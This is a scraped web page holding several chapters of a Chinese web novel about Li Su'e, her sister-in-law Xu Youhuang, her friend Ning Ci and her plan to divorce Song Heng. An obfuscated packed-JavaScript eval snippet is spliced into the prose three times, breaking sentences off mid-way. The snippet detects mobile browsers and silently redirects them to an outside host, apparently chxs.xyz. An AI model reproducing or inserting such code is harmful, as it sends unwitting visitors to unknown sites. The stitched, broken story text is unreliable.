听着东厂这帮“老阴阳人”的七嘴八舌,我才知道这两人在他们圈子还挺有名。 现在想想他俩如今的成就,其中群众的眼光都是雪亮的,早就知道他二人实力不俗,不过厚积薄发而已。 我们这边的动静也惊动了旁边的赵旭。他盯着我们几人看了一会儿,眉头一拧,抬起小短腿,朝我们走来,身后还跟着个面目平凡的青年武官。 青年武官就是我的大哥李素基。他本来跟赵旭毫无交集,那日不过正好轮到他当值,只因听说附近有一群嚣张的登徒子调戏良家妇女。于是他急急忙忙带人赶过来了,打算好好发挥一下他荒废已久的功夫。 结果可想而知,他也成了登徒子中的一员,还因出色的表现,进入赵旭的视线。 李素基的老婆孙月骄失踪的前一晚,神色癫狂地要掐死我:“若不是因为你,素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好了,刘吉。”赵旭脸黑如锅,直接打断了刘吉,指着我道:“你倒是有心了,还专门安排人救治他们,只是他如此瘦弱,怎能照顾的来两个身高体重的大男人,刘公公你做事向来周全,这次有些疏忽了啊。” “他……他并非我们安排的。”刘吉恨恨地剜了我一眼,面红耳赤辩解:“公子,非我们见死不救,宋百户和汪公公他两看着实在不像活人……” 我心中暗笑。 刘吉内心肯定不想救的,若知道他二人还有救,说不定还会补上一刀。 只是当时宋琛重伤在头部,一枚飞刀只剩刀柄露在太阳穴外,汪静则被一支箭从胸口贯穿到后背……伤势之险恶,任谁见了,也会认为这二人神仙难救! 所以徐有凰才直接判断二人并无救治的可能,大约又认出锦衣卫和太监的身份,不想沾染麻烦,故此急忙逃离现场。 否则以她的个性,不会袖手旁观的,也不至于对当年的匆匆离去后悔至今。 徐有凰医术高明,都认定他二人救不了,刘吉自然也不能例外,为了避免节外生枝,任他们自生自灭。 而我有金手指,知道他们二人其实伤得“恰到好处”,全都险之又险地避开了要害之处,故此我才能从阎王爷手中抢回两条命来。 赵旭敲打完刘吉,立即吩咐李素基安排侍从,将宋琛和汪静送去就医。 我浑水摸鱼,偷偷给李素基打了个眼色,跟着他们一起溜走了,刚走几步,就听到赵旭制止手下继续骚扰女子。 我好奇的回头,正好撞进赵旭似笑非笑的眼睛里。 “你莫要以为你救了相公,便自作多情地认为相公会对你产生什么想法。”徐有凰像是回忆起了什么,色厉内荏地警告我。 “你还知道是我救的宋琛啊。” 徐有凰面色变幻数次,最后神色漠然道:“那时我不争取,他就要与你成婚了,我做不到看他娶别人……素娥,此事是我对不起你。” “哎,徐有凰,你怎么怂了,我还怎能心安理得地将我的不幸甩到你头上!” 以前徐有凰死鸭子嘴硬,我便站在道德制高点上,暗搓搓地将锅扣在她头上,认为若不是因她从中作梗,我现在就是都督夫人,无论如何不至于沦落到今天的地步…… 其实有件事藏在我内心多年:当年我也要退婚的,只是宋琛先行一步罢了。 所以我的不幸无论如何也怪不到徐有凰头上去,我只是不愿意承认宋珩从始至终都是我自己选的而已。 徐有凰垂下眼帘,轻叹:“素娥,你不必为我开脱,无论怎样,他当时都是你的未婚夫……” 我打断她:“既然有愧于我,还天天做鱼,什么蒸鱼、炸鱼、咸鱼、鲜鱼,你明知道我讨厌吃鱼,听到都要吐的。” 徐有凰闻言,脸上的愧疚之色顿时消失不见,美目一竖:“我相公爱吃鱼,自然要先紧着他。” “哦,那我要跟好好问问大哥他瞎眼的往事了。”我语气凉凉道。 “李素娥你有完没完?”徐有凰恼羞成怒:“这招你用了快七年了,能不能换个新鲜的?” “谁让你就吃这招呢!”我丝毫不引以为耻,见她气得破功,不再逗她,悠悠道:“放心吧,这是最后一次威胁你。阿凰,我要离开宋家了。” 10. 第十章 过往 “因为二弟要回来了。”徐有凰一针见血地指出了关键。 我狡辩:“跟他没关系,主要想换了环境,在宋家太拘束了……咳,好吧,其实也有点关系的。你也知道我这个人小心眼,他跟林思苑回来后,老是在我跟前晃荡,我又不能拿他们怎么样,这太折磨我了。” 徐有凰抱臂站在一旁,耐心听着我的胡言乱语,待我说完后,才冷冷一笑,面露讥讽:“我还以为你一辈子都会这样下去呢! 七年了,你对任何人任何事都漠不关心,逼急了也只是草草应付,完了就躲回你的小世界,再也不肯出来。 怎么?他要回来了,你就要跑了,莫不是怕他强闯你的心房,打破你行尸走肉的好光景?” 我无言以对,只能捂脸。 我跟徐有凰相识十七年了,一张桌子上吃饭都不下于十五年,从青葱少女到徐娘半老,几乎没有分开过。 我们太熟了,如同对方肚子里的蛔虫一般,任何狡辩都是苍白无力的。 徐有凰并未乘胜追击,神情反而渐缓,看着我叹了口气,“你跟二弟毕竟还有夫妻名分,他若不放手,你又能去哪儿。” 其实徐有凰说得不无道理,离开宋府只是我的临时决定,差点忘了宋珩和我有一纸婚约,将我们拴在坟墓里呢。 不过我跟宋珩分则两利。他可以顺理成章地扶正林思苑,唯一的亲儿子也不用被人嘲笑妾生子了。我亦可以名正言顺地找小白脸。 宋珩没道理不肯和离。 思及此处,我挺胸,“这就不劳阿凰操心了,他肯定会同意和离的。” “这么肯定?”徐有凰见我胸有成竹的模样,细浓眉毛不由挑起:“五年前,先皇案甚是严重,他到处求人,好容易为你翻案,你又那般待他……他也没有与你计较。他虽有错在先,可终究为你付出良多,定不会轻易答应和离。” 我将先前所想托盘而出,最后言之凿凿:“即便他肯委屈林思苑,难道宋沣也不顾了吗,任他顶着个妾生子的名头!” 这个世界虽然受到过新学的冲击,过去的道德伦理摇摇欲坠,可“嫡庶之别”依旧根深蒂固,妾生子还是非常受歧视的。 “二弟又不是圣上,求子入魔,他素来自我,哪里会被儿子绊住。”大概四下无人,徐有凰胆大放肆起来,不赞同地摇了摇头,还内涵了赵旭一把。 我一听竟觉得很有可能。 当年我就快临盆了,宋珩不顾自己即将当父亲,迫不及待地跟林思苑滚到一张床上去了。 孩子,至少我的孩子对他来说,的确微不足道。 可宋珩和林思苑的情分毕竟不同,宋沣从小长在他膝下。 说不定他已经变成了一个有担当的好父亲。 我和徐有凰边走边聊,穿过了前廊,即将到达正厅时,我还是叫住了她,将心中的疑惑问了出来,“阿凰,你说我那般待宋珩是什么意思,他伤得很重吗?” 五年前我从诏狱出来后,身体衰败得厉害,几乎濒死。 宋珩衣不解带的照顾我,他那样用心,我不是不感动,又觉得自己大概活不长了,想着放下一切怨恨与宋珩平和地走完最后一程。 好吧,最主要的还是宋珩威胁我:若是我死了,就把我的三个小辈一并送去陪我。 我怕他说到做到,为了稳住宋珩,试图用真情打动他。 不管真心或假意,那段日子我和宋珩像是回到了刚成亲的那一年。 我正沉浸在幸福的假象之时,林思苑生下宋沣的消息,打破了我的自欺欺人,所以我也顺手打破了宋珩的脑袋。 “看来你对二弟也不是全然无情嘛。” 徐有凰闻言侧首,如同她少女时期般望着我咧嘴打趣,记忆中的那个爽朗大气的辽东姑娘顿时鲜活生动起来。 自她嫁入宋府,她的笑就如同她的角色一样,似乎只剩两种,要么像贤妻良母,要么如管家娘子,唯独失去了她往日的洒脱样子。 唉,我老说别人,我自己又何尝不是早已面目全非了呢? 我正发怔间,徐有凰的语气却凝重起来:“素娥,你那一下确实太重了。二弟担心你内疚,一直不肯让我们向你透漏他的近况。他五年未曾归家,并非心虚不敢见你,而是他的眼睛反复恶化,经不住舟车劳顿,整整休养了五年,才勉强稳定下来。” 我知道自己当时出手不轻,当日情形依旧历历在目: 宋珩猝不及防挨了我一下,鲜血从其头上蜿蜒而下,他没有指责我半句,只是捂住伤口,慢慢站起,踉踉跄跄离开房间,离开前还不忘将屋中的碎片挨个拾起带走。 我负气结束,想偷偷看他时,大家告诉我宋珩已经连夜走了。 我失魂落魄地喃喃自语:“我以为只是打伤了他头而已……” 徐有凰叹气,“你那次不光敲破了他的头,最麻烦的是碎片飞进他的眼里,划伤了眼球,当时看着就凶险至极,我们都以为他的左眼保不住了。 当年婆婆将你禁足佛堂,罚你茹素抄经,也是气你出手不知轻重,差点毁了二弟。” 宋珩与我不欢而散后,林思苑将“金兰草”的避孕之效,抖了出来。 这玩意的功效是我无意间发现的,我欺负宋家人不懂药理,曾经隔三差五将其掺在宋家的饭食之中。 王氏得知此事后暴怒,将我关进了佛堂。每日只给咸菜稀饭,还勒令我抄经祈福,不将《金刚金》抄一千遍,不准旁人放我出来。 自李家败落后,王氏不忿我的阴阳怪气,经常找由头挑刺,嘴上罚我这样罚我那样,却也未真的落实到底,每次都睁一只眼闭一只眼,最后不了了之。 唯有“金兰草”之事,王氏罚我最重,也是最较真的一次,整整关了我三个月。 我一直以为是王氏重视子嗣,才动了真格。今日我才明白,原来还有为宋珩出气之意。 “素娥你不用太担心。那天我们请了霍良出手,勉强治好二弟的眼睛。” 徐有凰看了看我的脸色,斟酌着继续道:“可到底还是落下了病根。听你大哥说,天色一暗,二弟的左眼就不太看得清。” 闻言,我的心像是被针刺中了一般,剧烈痛了起来,虽然我如鸵鸟一般,从未过问宋珩的伤情,但其实我心中早有预感,只是从未料到严重至此。 突然我感到一阵眩晕,眼看着就要往地上栽去,徐有凰眼疾手快地扯住我的衣袖,见我身体依旧摇晃,手又滑到我腰间,撑住了我的身体。 “我没事,晚上没吃饱,大概有些低血糖。”看着她焦急的样子,我竭力站稳,轻拍她的手背,示意她不要担心,只是刚挨着她的手,不由地抖了抖,以为自己碰到了一块寒铁。 “你的手怎么冰成这样?”我赶忙压下胸中的烦闷,抓起她的手。 徐有凰轻描淡写道:“老毛病了。” 我顿时难过起来。 徐有凰出身辽东将门,认识我之前,身体素质是极好的,因为我的一己之私才导致她身染恶疾。 这一切还要从十六年前,我刚成为李素娥一年后说起。 那是先帝的泰和二十一年。 北方大地爆发天灾,多地粮作物大减产,辽东甚至颗粒无收,饿殍遍野。 先帝依仗姜侯爷强行将东南的粮食运往北方赈灾,解救当地百姓于水火。 在北方百姓的一片感恩颂德声中,一道不和谐的声音响起,钦天监监正却言:这种天灾将会持续五十年之久,而且很快就会波及到大周的东南一带。 言下之意:东南的百姓都快自身难保了,不要再妄想从东南调粮了。 说到此处后,监正的话锋一转,直接将矛头攻向了姜侯爷:“而今礼崩乐坏,邪学盛行,大量的青壮力抛田弃地,一心往姜侯爷的作坊做工,百姓们皆以卖货跑商为荣,致使田地荒芜。连年天灾,土地又无人耕种,长此以往,不出三年,必定天下动乱,烽烟四起。” 话音落后,监正不禁老泪纵横,五体投地跪在地上,后面还跟着伏了一片,异口同声道:“苍天示警,必有妖孽。为了大周的江山,还请圣上除奸邪,以慰上苍。” 姜侯爷可不是坐以待毙的性子,立刻反唇相讥:“大周承平二百余年,百姓一直繁衍生息至今,人口已有二万万之巨,天下只有没地的百姓,何来荒芜的土地。监正大人莫不是在说笑话!” 众人哑口无言,无力反驳。 姜侯爷搞调查很有一套,曾秘密清查过全国各地的隐户和隐匿土地,各种数据门清,绝非空口无凭。 姜侯爷趁热打铁,不怀好意地意有所指:“圣上初登基时,天气本就一年比一年冷,天灾频发,粮食收成早已出现锐减之兆。 而廷上诸公食君禄,深受皇恩,不思为国分忧,反而纵容家眷奴仆隐匿人口土地,继而逃税漏税,更借天灾之年大肆兼并土地,以至于国库空虚,百姓流离失所。 若非圣上运筹帷幄,恐怕这些失地百姓早就前往诸公家里武装讨粮了……” 钦天监监正和姜侯爷虽然各执一词,但都提到了最关键的一点儿:天灾和人地矛盾的双重压力下,大周的粮食已经不足以供养全天下的百姓了。 不同于监正将妖孽祭天,寄希望于风调雨顺。姜侯爷的解决之道是提高粮食的产量,建议从水利、良种、肥料三个方向入手。 姜侯爷的思路听起来似乎更靠谱。 可这些都需要时间及运气。譬如水利,百姓吃的都没有,如何有力气兴修水利。 至于良种、肥料。满脑子奇思妙想的姜侯爷表示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回忆到此处,我愧疚地开口:“阿凰,你身体底子本就不好,现在年纪渐长,不比年轻时候,没必要天天接送大哥,该睡睡,该吃吃。” “我欺瞒他太多,也许是心虚吧,总想为他多做些。”徐有凰抽回手,笑着对我道:“圣上近年开始惜命起来,生活规律许多,相公很少早出晚归了。何况相公拗不过我,每次回来之前,都会派人知会于我,我不过提前出来接他一下罢了。” 我黯然:若非是我害了她,徐家的独女何至如此卑微。 还没待我开口,她瞥了我一眼,语气陡然讥诮起来,“如果真为我着想,某人肯安分过日子,我心情舒缓之下,至少多活十年。” 得,一片好心被当驴肝肺,还倒打一耙。 我恼羞成怒:“大嫂话里话外都在为宋珩说话,管家莫不是管上瘾了,林思苑回来了,指不定谁管谁呢!” 王氏偏疼小儿子是众所周知的事。当年徐有凰比我先进门,可王氏还是把掌家之权交给了我。 林思苑是王氏的亲侄女,肯让她吃亏么! 徐有凰搓着手哈气,慢条斯理道:“弟妹还是先担心自己吧。到时弟妹不要又发疯,败了爹娘的兴致。 还有不准再叫我阿凰,李素娥别以为我不知道你家以前的看门狗叫阿黄,少在这里占老娘便宜!” 我:“……” 刚刚的温情仿佛只是错觉一般,我们两个又恢复成了“塑料”妯娌。 …… 路过前厅时,宋琛正在吃夜宵,边上还坐着个慢慢品茶的贵妇。 我装作没看见,打算径直回我小院时,贵妇喝住了我:“李素娥,这么晚了,你又去哪儿了!” “婆婆,我去看孟府看了看宁慈,在她家吃了顿晚饭,所以耽误了。本来她还打算派人送我,刚好碰到大哥了,我便跟大哥一块儿回来了。” 宁慈是我在京中为数不多的挚友。我俩关系极为亲厚,经常互相串门,过夜也时常有之。 不过一般是宁慈留宿宋家,我很少借住她家,除非是她娘家宁府。 原因无他,宁慈的相公孟青平极度看不惯我,每次见了我都拉长脸,厌恶之情溢于言表。 这个理由我自认站的住脚,还料定宋琛不会向王氏透漏今晚的事,有恃无恐地拉宋琛作假证:“大哥,是吧!” 只是我刚说完,王氏立即黑了脸,“腾”地起身,拂袖而去,连个眼神都懒得给我。 我正摸不着头脑,怀疑地看向宋琛:莫非他嘴快,把我打了赵旭的事给招了? 宋琛停住了筷子,面色平静地对我道:“弟妹,你还是先回房看看吧,刚刚娘说你的朋友等你多时了。” 11. 第十一章 挚友 怀着不详的预感,打开房门,我的好友宁慈正对我笑的一脸灿烂。 我心里将徐有凰喷了个狗血淋头:王八蛋,竟然不提醒我宁慈来了! 宁慈跟我和徐有凰同样出自将门。 不同于我和徐有凰的高挑个子,她身材袅娜,相貌柔弱,十分容易激起男人的保护欲。单从外表来看,她一点儿不似将门出来的虎女,倒像江南水乡滋养的女子。 宁慈见了我,面露喜色,站起身来,挽住我的胳膊,娇嗔道:“素娥,你终于回来了,人家等了你好久了!” 我瞪了她一眼,连忙把门关上,“我的姑奶奶,你早不来,晚不来,怎么这时间来,你可害苦我了!” 宁慈闻言,脸色瞬间拉长,甩开我的胳膊,我一个趔趄,差点撞到桌上,好在宁慈小指勾住了我的领子。 “好你个李素娥,你这是什么态度,我等了你一个多时辰都没有怨言,你刚见我一顶帽子就扣在我头上,我倒要听听,我如何害苦你了!”说完,她的纤纤玉手“啪”拍在桌上。 我瞄了一眼桌面开裂的细缝,情不自禁咽了咽口水。 没错,宁慈虽生的不像将门女子,可有着常人难以企及的将门实力。 她天生神力! 我有金手指时,耳目灵敏,身手矫捷,尚且只能和她打个平手。 如今她单手就可以将我扔出屋外。 形势比人强,我不由气短,连连告饶,除了将赵旭打了一段儿隐去不说之外,从宋珩将回京到遇见王氏一事,一股脑地讲给她听。 宁慈幸灾乐祸地嘲笑我活该! 我心中一堵,不禁哀叹:交友不慎啊! 虽然我和宁慈经常互损,但是我二人感情确实极好的。 在京城我名声不好,朋友不多,宁慈可算是我最好的朋友了。 其实一开始我跟宁慈的关系并不好。 可以说很恶劣,毕竟我俩第一次见面就打了一架。 那时我跟宋珩刚成亲不久,尚处于柔情蜜意期,一日我们相携着到侍郎府,去给侍郎府的老太君过八十大寿。 席间,宋珩和孟青平言语不合,起了冲突,当我和宁慈赶到那里之际,发现两人都有些怒发冲冠的意味。 那时我跟宋珩刚成亲一载,知他性情温和,向来都是以理服人之人,很少与人发生冲突。 而孟青平是京中有名的风流子弟,到处惹是生非。 我怕宋珩吃亏,立刻上前,想要劝架。 孟青平推了我一把,并大声嚷嚷道:“男人的事儿,女人插什么手!” 宋珩见孟青平对我动了手,面色顿时阴寒下来,冲上去将孟青平一顿好揍。 孟青平不甘示弱,迅速还手。 两人打作一团。 我和宁慈自然不会坐视不管,都上去拉架,由于都比较心疼自己的男人,不可避免地拉起了偏架,自然对对方的男人就要粗暴亿点点。 于是—— 宁慈见我仗着动作灵敏,踩了孟青平好几脚,大怒道:“你怎么敢踢我家青平!” 我也很生气地道:“谁让你用手肘拐了我家阿珩了!” “我就打他了,谁让他打青平了!”宁慈挑衅地看了看我,又蛮横地捶了宋珩肚子一拳。 她天生神力,盛怒之下,用了不过五分力,宋珩顿时脸色惨白。 “你敢打他!”我当时怒不可遏,也还以孟青平一脚,还仗着金手指专找痛点。 然后——我跟宁慈就打了起来。 我身手敏捷轻快,揍她的次数比较多,但宁慈力大无穷,挨她一拳等于我打她十下,一时之间我们斗了个旗鼓相当。 宋珩和孟青平早已清醒过来,在目瞪口呆了一会儿后,就双双冲过来拉架。 不过宋珩是一介文弱书生,孟青平也只是个绣花枕头。 两人劝架不成,反而在混乱中被我和宁慈打得抱头鼠窜,三两下出局了,凄惨且窝囊地蹲在地上相视苦笑。 最后还是宋珩机灵请了老太君出面,我和宁慈才住手。 自此,京城悍妇榜上又添了两人…… 宋珩虽文弱,但相当淡定,笑道:“早知道娘子出身将门,在辽东有女张飞之称,今日为夫算是开了眼界。” 我将十指捏的咔咔响:“怎么,相公可是嫌弃妾身了?” “为夫岂敢!”宋珩连忙朝我一揖,“今后若不慎开罪了夫人,请夫人看在为夫体弱的份儿上,望夫人手下留情。” 当然我食言了。 相对于宋珩的淡定,孟青平则明显一副失魂落魄的样子,他估计从未想过一向温柔娇弱的宁慈竟这般剽悍。 而宁慈一把扑到孟青平的怀里,可怜巴巴地道:“相公,宋珩他夫人好凶啊,刚刚可真是吓坏我了~~” 我和宋珩相视一笑,嘿嘿看着孟青平大热天里,打了个寒颤。 这个女人明明就是个“人形凶兽”,却老喜欢装软妹子,假得很! 狠狠嘲笑我一通后,宁慈突然很严肃的问我:“你是如何想的?” “什么怎么想的。”我知道她指的是宋珩,但实在不愿提及他,左顾言它,“这般晚还来,明天都都不及,想来有喜事要告诉我,快说!” 宁慈扳过我的脑袋:“好好说话,少装傻!” “有话好好说,不要动手动脚的!”我赶忙缩了缩肩膀,抢过自己的脖子,龇牙咧嘴地抱怨:“我的姑奶奶,小的肉/体凡胎,您天生神力,给小的留条活路吧,脑袋都差点儿被您给拧下来了!” 宁慈没有理会我的插科打诨,目光灼灼地盯住我,我不由毛骨悚然,败下阵来,将我打算离开宋家一事说了出来。 其实离开宋家一事,不算临时起意,我筹谋多年了,只是在宋家还有一份儿牵挂放不下。 我在宋家不只养着侄子李越青,还照顾着宋琛的庶长子宋沛。 宋琛是个好男人,自打娶了徐有凤之后,从未提过平妻一事,徐有凤一直没生出一儿半女还坚持不纳妾,连沾花惹草的行为都没听过。 所以他抱回一个私生子回来时,宋府上下都轰动了。 当时徐有凰气的要回娘家。 原来宋琛曾承诺过徐有凰:一生世,一双人。 现在私生子都出来了,当年的誓言成了笑话,徐有凰自然不依了。但徐有凰深爱宋琛,最终还是接受了这个事实,奉行了那句婚姻不易,且行且珍惜。 虽然徐有凰接受了这个事实,但是并不代表着她也接受了宋沛。 谈不上虐待宋沛,关心那是不可能的。 一次疏忽之下,宋沛发起了高烧,几乎丢掉小命儿。 我身体受损,不可能会再有孩子了。按照规矩,我得从宋珩的小老婆那里抱一个男婴认为嫡子。 照宋珩那痴情样儿,我很可能会养他跟林思苑的爱情结晶。 一想到这对狗男女不知怎么潇洒快活,还想我给他俩养孩子,一肚子怨气。 为了恶心宋珩和林思苑,我起了过继宋沛的念头。 远在天边的宋珩听说这件事后,隔三差五地一封信过来,表示此事不可为。 宋珩自然不肯同意的。 因为这样一来,宋沛就是二房嫡子,今后宋珩的家产要被分走一大部分的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730426|157276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋琛当时也是热锅上的蚂蚁,实在没招了,写了一封信给宋珩,大意是他有心照顾这个孩子,但是老婆实在凶悍,不愿意委屈了宋沛。既然弟妹愿意要这个孩子,就求你收留了,不求将来能分你多少财产,只求宋沛能平安长大。 这封情真意切的信,没能打动宋珩,他坚持不肯让我养宋沛。 看来宋家兄弟感情虽好,可涉及到利益上还是分得门清儿。 那时赵旭刚收拾了姜氏,李家一家独大,如日中天,略费了些周折,宋沛就过继到了我的名下。 现在想来真脑子进了水,杀敌一千自损八百! 一开始,我养宋沛纯粹是为了与宋家作对,随时想着哪天不爽了,就把孩子丢给王氏和徐有凰。 可宋沛敦厚仁孝,养着养着,我和他倒生出几分母子情谊。 李家家败后,宋琛步步高升,为了让宋琛今后照顾我和李越青一二,我跟宋沛的母子情谊更深了。 八年了,我也不知道我对宋沛的利用多些,还是感情多些。 我的感情虽不纯粹,可宋沛敬我爱我,真正地把我当成了母亲。 若跟宋珩和离,我是完全没有理由带走宋沛的。而我扪心自问,自知做不到为了他而委曲求全。 宁慈知我心思,开解道:“你不能光为旁人着想,还是要为自己多做打算。说到底,你们其实是毫无关系的。” 我摇头不说话,只觉得心里难受。 宁慈见我脸色难看,不再提宋沛,絮絮叨叨:“虽然便宜林思苑那个白莲花,可能脱离宋家这个火坑,倒也不算太亏。我在城西有一套宅子,你和越青有需要就搬过去。那里是我的私产,一般人不敢打扰,赶明我过到你名下去。” “那怎么好意思呢!”我顾不得难受,连忙拒绝。 宁慈白了我一眼,“少来,你李素娥也知道什么叫不好意思!” “胡说八道,我脸皮薄着呢!” 自从李家败落后,我几乎达到了唾面自干的程度,但我毕竟是个女子,还是有那么一丢丢羞耻心,有机会还是要争辩一二的。 “呸!”宁慈啐了我一口,然后眼珠子在我身上滴溜一圈,狡黠笑道:“你这脸皮儿厚在面儿上。 你看某人明明自甘堕落,觊觎人夫,却摆出一副身不由已,命不由我的清高样儿,好像什么都是别人强迫的她一样。这才是厚脸皮的最高境界,你还有的学呢!” 宁慈口中的某人就是宋珩的表妹儿林思苑。 每每提起林思苑,宁慈总是咬牙窃齿,原因很简单——孟青平也痴恋林思苑。 当年孟青平跟宋珩的争执就因林思苑而起。 每每我和宁慈想起,为这三个玩意打架,肠子几乎都悔青了。 我跟宁慈不是因为打了一架就惺惺相惜,纯粹是敌人的敌人就是朋友。 几年前,孟青平不知从哪里淘来一个长相极类林思苑的女子,顶着被宁慈打死的风险,将其抬为贵妾。 这个女人心机颇深,整日里兴风作浪,将宁慈活活地逼成了李素娥第二。 这些年来,宁慈似乎也对孟青平死了心,谈起孟青平就一副路人甲的口气,还不忘挤兑我:“那替身在我眼前晃一会儿就闹心的不行,不知你天天看到正主是何感受啊?” 我怒了:“五十步笑百步,有意思嘛!” 宁慈掩嘴笑道:“哟,最近脾气见涨啊,看来话本写的好,底气也硬了几分呢!” 我连忙讨好道:“哎哟,小的再厉害,还不是在您宁女侠手里混口饭吃!” 宁慈立马摆出一副讨债鬼的嘴脸来,手朝我一伸:“更新呢!” 12. 第十二章 胭脂 “我以为您今天特意招小的来,是为了安慰小的受伤的心灵呢,没想到原来是催更的。”我忿忿道。 这个女人惯会压榨人,老资本家了! “你还好意思说,你知道你多少天没更新了吗,现在读者天天写信来烦我们书局!”宁慈比我更生气,不等我反驳,又补上一刀:“再说,我今天是来看你笑话的,可不是来安慰你的!” 我:“……” 真怀念当年那个假模假样的宁慈,现在这个直接得让人受不了。不过我拿她是毫无办法的,谁让她现在是我东家呢! 宁慈之所以成为我的东家,还得从王氏扔给了我一本《金刚经》和一大堆纸墨笔砚后,将我禁足佛堂反省说起。 我当时自然不肯抄什么《金刚经》,每日闲的无聊,天天摸鱼。 摸鱼非指偷懒,是真的摸鱼。 王氏发了狠地整治我,天天稀粥咸菜,嘴里淡得出鸟。 刚好佛堂前的池子里,有一群锦鲤,是王氏高价从大昭寺求来的。 大概过惯了饭来张口的日子,这群锦鲤憨傻得要命,倒点稀饭就成群结队地扑过来了,一抓一个准。 其实锦鲤味道不太好,但为了油水儿,我还是勉为其难地吃了三个月。 我摸得正欢时,胭脂突然跑来告诉我,教习先生又反映李越青在课堂上偷看话本,带坏学堂风气。 这件事我早有耳闻。 为此,我揍了李越青无数次。 可他跟李素基一个德行,屡教不改。 最后实在没辙了,我琢磨了出了个损招。 我舔着脸跟李越青一块上课,结果第一天便在课堂上睡了个香甜的午觉,从此以后再也没立场说他了。 己所不欲勿施于人的道理,我还是懂的,但也不能放任李越青不读书吧。 绞尽脑汁一段时间后,决定以毒攻毒! 李越青不是爱看话本么,我决定从此处入手。 在前世我看过一部另类的历史读物,以幽默八卦的表现手法重现了历史文字,趣味性很足,十分地引人入胜。我觉得自己可以借助这种手法,编本历史读物,借此来提高李越青的兴趣。 禁足期间除了摸鱼,无事可干,刚好可以实施我的想法,让胭脂偷偷送来了一套历史书籍,开始了我的创作大业。 没想到李越青出乎意料的喜欢,被我抓住了把柄,并以此要挟他认真读书。 虽然李越青上课不再摸鱼,可他的学业依旧烂得令我心梗,用教习先生的话来说,这孩子在读书方面缺根弦。 李越青的学业我是不指望了,而我却在创作方面,从此一发不可收拾。 即使王氏解了我的足禁,我依然大多时候就呆在后院里写东西。 当然我是写不出什么高深东西的,基本是话本。 本来仅是自娱自乐,宁慈无意间看到了我的话本,觉得有些潜力,将其拿到她的私人书局里出版连载。 自宋家严禁我行医后,我干脆全职写话本了。 我的第一个话本叫《双面客》,写得是一名捕快被无缘无故地卷入了多起残忍的凶杀案,他和女主一起苦苦追查凶手,最后才发现原来自己就是真凶的故事。 简单来说,就是一个精神分裂者的故事。 可能这类故事少见,《双面客》一炮而红,最后因情节过于血腥暴力且有多种可实施的犯罪手法,成了禁书。 虽然成了禁书,我还是小赚一笔。 在金钱的激励之下,我又开了另一本传奇。 这次是恐怖灵异传奇。 吸取了上次的教训,省去了血腥的犯罪手法,只是反转众多,结局往往出乎意料。 可能是上天见我实在太倒霉,亦或者是上天给你关了一扇门,必然会给你一扇窗。 总之我的恐怖话本又红了,收入不菲,比行医强多了。 在银子的鼓舞下,我趁热打铁,一鼓作气写了好几部恐怖话本,类型从悬疑、灵异、冒险……还开辟了搞笑、温馨、爱情等品种。 此后读者群更大了,本来我的话本只有老爷们爱看,现在听说很多闺阁女子也爱看…… 经过四年的耕耘,我成了恐怖话本的标杆儿人物,宁慈的私人书局也因此赚的盆满钵满。 因我过于疲懒,挡了宁慈的挣钱大业,她化身黄世仁隔三差五跑来催稿,不榨干我最后一丝潜力誓不罢休。 瞄了眼宁慈硬起的拳头,我认命地从床头摸出一摞攒好的稿子递给她。 宁慈眉开眼笑地接过,大模大样地翻着稿子,估计见稿子颇厚,满意点头:“看来最近没有偷懒,这次写的不少嘛!” 我叹了口气:“你省着点印吧,我近来要和宋珩掰扯和离之事,今后不一定有空写……” 话还没说完,一阵敲门声响起,不待我开口,门外之人便道:“娘子,大奶奶吩咐厨房做了些夜宵送来,你们现在吃么?” 难为徐有凰还惦记着我,我正好有些饿了。 开门后,一位年纪约莫二十上下,容色过人的女孩提着食盒走了进来,手脚麻利地将碗碟取出摆好。 宁慈丝毫不把自己当外人,我还没动筷,她已经吃上了,一面吃,一面点评:“宋家祖上不愧是开酒楼的,味道着实不错。你跟宋珩和离后,肯定蹭不上他家的饭菜了……” 好歹相识一场,为了好菜,便要将我卖了! 我一口闷气堵在心口,执起筷子轻敲她的手背,“你可以去快活楼吃!” 宁慈赶忙缩手,嘴里不停,含糊道:“我的银子就是洒到地上,也不给宋家赚。” 我忘了提,孟青平的贵妾名叫林思薇,是林思苑的庶妹。 林家自大雍起便是江南大族,清流世家,文坛魁首,因私通叛军,遭先帝下旨抄家灭族,男丁全部斩首,女子尽数充入教坊司。 林家虽也不复存在,可与宋家乃多代姻亲关系。 恨屋及乌,宁慈来了宋家,时不时上演一出“端碗吃饭,放筷骂娘”的戏码。 懒得与她插科打诨,我转头向一旁布菜的美貌女孩问道:“胭脂,这么晚了,怎么还没休息,饿了没有,坐下一块儿吃。” 胭脂摇头拒绝,“娘子不必管我,我吃过了,现在不饿。” 说完,便恭敬地站在一边。 因着身份的缘故,除了李越青和宋沛,胭脂在任何人面前都对我素来恭敬有加,不肯逾越一步。 我拿她没有办法,只好道:“天色不早了,你早点歇息,不用管我们了。” 胭脂黑白分明的眼睛盯了我须臾,然后点头应是,轻手轻脚地退了出去。 待胭脂的背影消失在门后,宁慈举着筷子,对我道:“胭脂这模样儿、身段儿京城难寻啊。你打算留她到什么时候啊,她今年二十三了吧,本就老大不小了,再拖下去可真嫁不去了。” 提起此事,我也是一阵头疼。 胭脂五岁的时候就被李素基送来我身边,至今已有十八年了。 